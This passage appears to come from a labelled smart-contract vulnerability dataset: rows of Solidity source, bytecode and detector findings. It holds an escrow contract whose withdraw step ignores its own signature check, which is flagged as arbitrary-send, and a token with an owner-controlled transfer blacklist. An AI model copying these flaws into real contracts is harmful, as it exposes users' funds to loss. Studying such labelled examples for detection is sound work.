421015801561084257506003544211155b9150503415158180156108525750805b9250505090565b60008061087160025442610a1590919063ffffffff16565b9050610886816201518063ffffffff610a2716565b9050600f8110156108a5576007543410156108a057600080fd5b6108cf565b600f81101580156108b65750601f81105b156108ca576008543410156108a057600080fd5b600080fd5b600191505090565b6000808315156108ea5760009150610906565b508282028284828115156108fa57fe5b041461090257fe5b8091505b5092915050565b600254600090420381610929826201518063ffffffff610a2716565b9050600f81101561099357600a5461094890859063ffffffff6108d716565b925061095b83606463ffffffff610a2716565b600954909350610983610974868663ffffffff6109c916565b6006549063ffffffff6109c916565b111561098e57600080fd5b6109c2565b600f81101580156109a45750601f81105b156109bd57600b5461094890859063ffffffff6108d716565b600092505b5050919050565b60008282018381101561090257fe5b60008054604051600160a060020a03909116913480156108fc02929091818181858888f19350505050158015610a12573d6000803e3d6000fd5b50565b600082821115610a2157fe5b50900390565b6000808284811515610a3557fe5b049493505050505600a165627a7a72305820c8d920e7aa41411a68ba12ccfee1fc1e6c8d996a752509edcca4be02aa4791220029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 6,194 |
0xef0469e78c6537a7239470b752653345c873a3fb
|
pragma solidity 0.4.23;
/*
* Ownable
*
* Base contract with an owner.
* Provides onlyOwner modifier, which prevents function from running if it is called by anyone other than the owner.
*/
contract Ownable {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
contract SafeMath {
function safeMul(uint a, uint b) internal pure returns (uint256) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal pure returns (uint256) {
uint c = a / b;
return c;
}
function safeSub(uint a, uint b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal pure returns (uint256) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
/**
* @title Stoppable
* @dev Base contract which allows children to implement final irreversible stop mechanism.
*/
contract Stoppable is Pausable {
event Stop();
bool public stopped = false;
/**
* @dev Modifier to make a function callable only when the contract is not stopped.
*/
modifier whenNotStopped() {
require(!stopped);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is stopped.
*/
modifier whenStopped() {
require(stopped);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function stop() public onlyOwner whenNotStopped {
stopped = true;
emit Stop();
}
}
/**
* @title Eth2Phone Escrow Contract
* @dev Contract allows to send ether through verifier (owner of contract).
*
* Only verifier can initiate withdrawal to recipient's address.
* Verifier cannot choose recipient's address without
* transit private key generated by sender.
*
* Sender is responsible to provide transit private key
* to recipient off-chain.
*
* Recepient signs address to receive with transit private key and
* provides signed address to verification server.
* (See VerifyTransferSignature method for details.)
*
* Verifier verifies off-chain the recipient in accordance with verification
* conditions (e.g., phone ownership via SMS authentication) and initiates
* withdrawal to the address provided by recipient.
* (See withdraw method for details.)
*
* Verifier charges commission for it's services.
*
* Sender is able to cancel transfer if it's not yet cancelled or withdrawn
* by recipient.
* (See cancelTransfer method for details.)
*/
contract e2pEscrow is Stoppable, SafeMath {
// fixed amount of wei accrued to verifier with each transfer
uint public commissionFee;
// verifier can withdraw this amount from smart-contract
uint public commissionToWithdraw; // in wei
// verifier's address
address public verifier;
/*
* EVENTS
*/
event LogDeposit(
address indexed sender,
address indexed transitAddress,
uint amount,
uint commission
);
event LogCancel(
address indexed sender,
address indexed transitAddress
);
event LogWithdraw(
address indexed sender,
address indexed transitAddress,
address indexed recipient,
uint amount
);
event LogWithdrawCommission(uint commissionAmount);
event LogChangeFixedCommissionFee(
uint oldCommissionFee,
uint newCommissionFee
);
event LogChangeVerifier(
address oldVerifier,
address newVerifier
);
struct Transfer {
address from;
uint amount; // in wei
}
// Mappings of transitAddress => Transfer Struct
mapping (address => Transfer) transferDct;
/**
* @dev Contructor that sets msg.sender as owner (verifier) in Ownable
* and sets verifier's fixed commission fee.
* @param _commissionFee uint Verifier's fixed commission for each transfer
*/
constructor(uint _commissionFee, address _verifier) public {
commissionFee = _commissionFee;
verifier = _verifier;
}
modifier onlyVerifier() {
require(msg.sender == verifier);
_;
}
/**
* @dev Deposit ether to smart-contract and create transfer.
* Transit address is assigned to transfer by sender.
* Recipient should sign withrawal address with the transit private key
*
* @param _transitAddress transit address assigned to transfer.
* @return True if success.
*/
function deposit(address _transitAddress)
public
whenNotPaused
whenNotStopped
payable
returns(bool)
{
// can not override existing transfer
require(transferDct[_transitAddress].amount == 0);
require(msg.value > commissionFee);
// saving transfer details
transferDct[_transitAddress] = Transfer(
msg.sender,
safeSub(msg.value, commissionFee)//amount = msg.value - comission
);
// accrue verifier's commission
commissionToWithdraw = safeAdd(commissionToWithdraw, commissionFee);
// log deposit event
emit LogDeposit(msg.sender, _transitAddress, msg.value, commissionFee);
return true;
}
/**
* @dev Change verifier's fixed commission fee.
* Only owner can change commision fee.
*
* @param _newCommissionFee uint New verifier's fixed commission
* @return True if success.
*/
function changeFixedCommissionFee(uint _newCommissionFee)
public
whenNotPaused
whenNotStopped
onlyOwner
returns(bool success)
{
uint oldCommissionFee = commissionFee;
commissionFee = _newCommissionFee;
emit LogChangeFixedCommissionFee(oldCommissionFee, commissionFee);
return true;
}
/**
* @dev Change verifier's address.
* Only owner can change verifier's address.
*
* @param _newVerifier address New verifier's address
* @return True if success.
*/
function changeVerifier(address _newVerifier)
public
whenNotPaused
whenNotStopped
onlyOwner
returns(bool success)
{
address oldVerifier = verifier;
verifier = _newVerifier;
emit LogChangeVerifier(oldVerifier, verifier);
return true;
}
/**
* @dev Transfer accrued commission to verifier's address.
* @return True if success.
*/
function withdrawCommission()
public
whenNotPaused
returns(bool success)
{
uint commissionToTransfer = commissionToWithdraw;
commissionToWithdraw = 0;
owner.transfer(commissionToTransfer); // owner is verifier
emit LogWithdrawCommission(commissionToTransfer);
return true;
}
/**
* @dev Get transfer details.
* @param _transitAddress transit address assigned to transfer
* @return Transfer details (id, sender, amount)
*/
function getTransfer(address _transitAddress)
public
constant
returns (
address id,
address from, // transfer sender
uint amount) // in wei
{
Transfer memory transfer = transferDct[_transitAddress];
return (
_transitAddress,
transfer.from,
transfer.amount
);
}
/**
* @dev Cancel transfer and get sent ether back. Only transfer sender can
* cancel transfer.
* @param _transitAddress transit address assigned to transfer
* @return True if success.
*/
function cancelTransfer(address _transitAddress) public returns (bool success) {
Transfer memory transferOrder = transferDct[_transitAddress];
// only sender can cancel transfer;
require(msg.sender == transferOrder.from);
delete transferDct[_transitAddress];
// transfer ether to recipient's address
msg.sender.transfer(transferOrder.amount);
// log cancel event
emit LogCancel(msg.sender, _transitAddress);
return true;
}
/**
* @dev Verify that address is signed with correct verification private key.
* @param _transitAddress transit address assigned to transfer
* @param _recipient address Signed address.
* @param _v ECDSA signature parameter v.
* @param _r ECDSA signature parameters r.
* @param _s ECDSA signature parameters s.
* @return True if signature is correct.
*/
function verifySignature(
address _transitAddress,
address _recipient,
uint8 _v,
bytes32 _r,
bytes32 _s)
public pure returns(bool success)
{
bytes32 prefixedHash = keccak256("\x19Ethereum Signed Message:\n32", _recipient);
address retAddr = ecrecover(prefixedHash, _v, _r, _s);
return retAddr == _transitAddress;
}
/**
* @dev Verify that address is signed with correct private key for
* verification public key assigned to transfer.
* @param _transitAddress transit address assigned to transfer
* @param _recipient address Signed address.
* @param _v ECDSA signature parameter v.
* @param _r ECDSA signature parameters r.
* @param _s ECDSA signature parameters s.
* @return True if signature is correct.
*/
function verifyTransferSignature(
address _transitAddress,
address _recipient,
uint8 _v,
bytes32 _r,
bytes32 _s)
public pure returns(bool success)
{
return (verifySignature(_transitAddress,
_recipient, _v, _r, _s));
}
/**
* @dev Withdraw transfer to recipient's address if it is correctly signed
* with private key for verification public key assigned to transfer.
*
* @param _transitAddress transit address assigned to transfer
* @param _recipient address Signed address.
* @param _v ECDSA signature parameter v.
* @param _r ECDSA signature parameters r.
* @param _s ECDSA signature parameters s.
* @return True if success.
*/
function withdraw(
address _transitAddress,
address _recipient,
uint8 _v,
bytes32 _r,
bytes32 _s
)
public
onlyVerifier // only through verifier can withdraw transfer;
whenNotPaused
whenNotStopped
returns (bool success)
{
Transfer memory transferOrder = transferDct[_transitAddress];
// verifying signature
(verifySignature(_transitAddress,
_recipient, _v, _r, _s ));
delete transferDct[_transitAddress];
// transfer ether to recipient's address
_recipient.transfer(transferOrder.amount);
// log withdraw event
emit LogWithdraw(transferOrder.from, _transitAddress, _recipient, transferOrder.amount);
return true;
}
// fallback function - do not receive ether by default
function() public payable {
revert();
}
}
|
0x6080604052600436106100fc576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806307da68f5146101015780630ee2b0e6146101185780632b7ac3f3146101435780633dabb0f61461019a5780633e25e8371461023e5780633f4ba83a1461026d5780635ac3835d146102845780635c975abb146103285780636fb1eb0c146103575780637297be7f1461038257806375f12b21146103c75780638456cb59146103f65780638bdc5a5f1461040d5780638da5cb5b146104b1578063a7c1e62914610508578063cf04fb9414610563578063db0d5175146105be578063f340fa011461067b575b600080fd5b34801561010d57600080fd5b506101166106c9565b005b34801561012457600080fd5b5061012d610789565b6040518082815260200191505060405180910390f35b34801561014f57600080fd5b5061015861078f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101a657600080fd5b50610224600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190803560001916906020019092919080356000191690602001909291905050506107b5565b604051808215151515815260200191505060405180910390f35b34801561024a57600080fd5b506102536108f4565b604051808215151515815260200191505060405180910390f35b34801561027957600080fd5b506102826109c7565b005b34801561029057600080fd5b5061030e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff16906020019092919080356000191690602001909291908035600019169060200190929190505050610a85565b604051808215151515815260200191505060405180910390f35b34801561033457600080fd5b5061033d610a9f565b604051808215151515815260200191505060405180910390f35b34801561036357600080fd5b5061036c610ab2565b6040518082815260200191505060405180910390f35b34801561038e57600080fd5b506103ad60048036038101908080359060200190929190505050610ab8565b604051808215151515815260200191505060405180910390f35b3480156103d357600080fd5b506103dc610ba5565b604051808215151515815260200191505060405180910390f35b34801561040257600080fd5b5061040b610bb8565b005b34801561041957600080fd5b50610497600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff16906020019092919080356000191690602001909291908035600019169060200190929190505050610c78565b604051808215151515815260200191505060405180910390f35b3480156104bd57600080fd5b506104c6610f1e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561051457600080fd5b50610549600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f43565b604051808215151515815260200191505060405180910390f35b34801561056f57600080fd5b506105a4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611157565b604051808215151515815260200191505060405180910390f35b3480156105ca57600080fd5b506105ff600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611315565b604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390f35b6106af600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113e7565b604051808215151515815260200191505060405180910390f35b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561072457600080fd5b600060159054906101000a900460ff1615151561074057600080fd5b6001600060156101000a81548160ff0219169083151502179055507fbedf0f4abfe86d4ffad593d9607fe70e83ea706033d44d24b3b6283cf3fc4f6b60405160405180910390a1565b60025481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060008660405180807f19457468657265756d205369676e6564204d6573736167653a0a333200000000815250601c018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c0100000000000000000000000002815260140191505060405180910390209150600182878787604051600081526020016040526040518085600019166000191681526020018460ff1660ff1681526020018360001916600019168152602001826000191660001916815260200194505050505060206040516020810390808403906000865af11580156108ac573d6000803e3d6000fd5b5050506020604051035190508773ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16149250505095945050505050565b600080600060149054906101000a900460ff1615151561091357600080fd5b600254905060006002819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610987573d6000803e3d6000fd5b507f3edf228d54016de2c57c145318c98467681be853eb40b70bc72ffd795550aa26816040518082815260200191505060405180910390a1600191505090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a2257600080fd5b600060149054906101000a900460ff161515610a3d57600080fd5b60008060146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6000610a9486868686866107b5565b905095945050505050565b600060149054906101000a900460ff1681565b60015481565b600080600060149054906101000a900460ff16151515610ad757600080fd5b600060159054906101000a900460ff16151515610af357600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b4e57600080fd5b6001549050826001819055507f9f43d788b36e7b67ff4c6a52197dfb4a40cce888efd52a5a7240c1276c85adbf81600154604051808381526020018281526020019250505060405180910390a16001915050919050565b600060159054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c1357600080fd5b600060149054906101000a900460ff16151515610c2f57600080fd5b6001600060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b6000610c8261160d565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610cde57600080fd5b600060149054906101000a900460ff16151515610cfa57600080fd5b600060159054906101000a900460ff16151515610d1657600080fd5b600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040805190810160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001820154815250509050610dcf87878787876107b5565b50600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600080820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055600182016000905550508573ffffffffffffffffffffffffffffffffffffffff166108fc82602001519081150290604051600060405180830381858888f19350505050158015610e8b573d6000803e3d6000fd5b508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16826000015173ffffffffffffffffffffffffffffffffffffffff167faa5b60cdfa493767441e10be5daea291b831cb9faa638ebf160d434588d7ecbd84602001516040518082815260200191505060405180910390a4600191505095945050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610f4d61160d565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040805190810160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001820154815250509050806000015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561103757600080fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600080820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055600182016000905550503373ffffffffffffffffffffffffffffffffffffffff166108fc82602001519081150290604051600060405180830381858888f193505050501580156110f2573d6000803e3d6000fd5b508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fbadeab042d3a4137cdc34a05ee0e698eb9bb91cea276c79d4c8cafeeee302a3760405160405180910390a36001915050919050565b600080600060149054906101000a900460ff1615151561117657600080fd5b600060159054906101000a900460ff1615151561119257600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111ed57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905082600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507e23b4b8d3b24bb4e63a4d72a2a8012e5134c4b51c84fa61ae55749793c6418381600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a16001915050919050565b600080600061132261160d565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040805190810160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200160018201548152505090508481600001518260200151935093509350509193909250565b60008060149054906101000a900460ff1615151561140457600080fd5b600060159054906101000a900460ff1615151561142057600080fd5b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015414151561147157600080fd5b6001543411151561148157600080fd5b60408051908101604052803373ffffffffffffffffffffffffffffffffffffffff1681526020016114b4346001546115d6565b815250600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101559050506115586002546001546115ef565b6002819055508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f4e3e4894f24a7c50bcb21d1ef785e34688bee05663c55d822eed7cefc253312334600154604051808381526020018281526020019250505060405180910390a360019050919050565b60008282111515156115e457fe5b818303905092915050565b600080828401905083811015151561160357fe5b8091505092915050565b6040805190810160405280600073ffffffffffffffffffffffffffffffffffffffff1681526020016000815250905600a165627a7a72305820c27d33fcf764bf59878fb76a3b3761be0289e502a7d5bc76cce4201367a899ed0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,195 |
0x728b4baf699a16294b73ea145b00859b47e1803d
|
/**
*Submitted for verification at Etherscan.io on 2021-10-01
*/
/**
* Press Start Button to Play
* Save the Princess & Kill Ganon
* Join us on TG at t.me/ZeldaGame
* Visit our website: http://www.zeldagame.co
*/
/**
*$$$$$$$$\ $$\ $$\
\____$$ | $$ | $$ |
$$ / $$$$$$\ $$ | $$$$$$$ | $$$$$$\ $$$$$$\ $$$$$$\ $$$$$$\$$$$\ $$$$$$\
$$ / $$ __$$\ $$ |$$ __$$ | \____$$\ $$ __$$\ \____$$\ $$ _$$ _$$\ $$ __$$\
$$ / $$$$$$$$ |$$ |$$ / $$ | $$$$$$$ |$$ / $$ | $$$$$$$ |$$ / $$ / $$ |$$$$$$$$ |
$$ / $$ ____|$$ |$$ | $$ |$$ __$$ |$$ | $$ |$$ __$$ |$$ | $$ | $$ |$$ ____|
$$$$$$$$\\$$$$$$$\ $$ |\$$$$$$$ |\$$$$$$$ |\$$$$$$$ |\$$$$$$$ |$$ | $$ | $$ |\$$$$$$$\
\________|\_______|\__| \_______| \_______| \____$$ | \_______|\__| \__| \__| \_______|
$$\ $$ |
\$$$$$$ |
\______/
*/
/**
*
*/
/**
*
*/
/**
*
*/
/**
*/
/**
*Submitted for verification
*/
/**
*/
pragma solidity ^0.8.3;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ZeldaGame is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "ZeldaGame";
string private constant _symbol = "ZeldaGame";
uint8 private constant _decimals = 18;
uint256 private _taxFee;
uint256 private _teamFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable addr1, address payable addr2) {
_FeeAddress = addr1;
_marketingWalletAddress = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_FeeAddress] = true;
_isExcludedFromFee[_marketingWalletAddress] = true;
emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_taxFee = 1;
_teamFee = 9;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_taxFee = 1;
_teamFee = 9;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 100000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
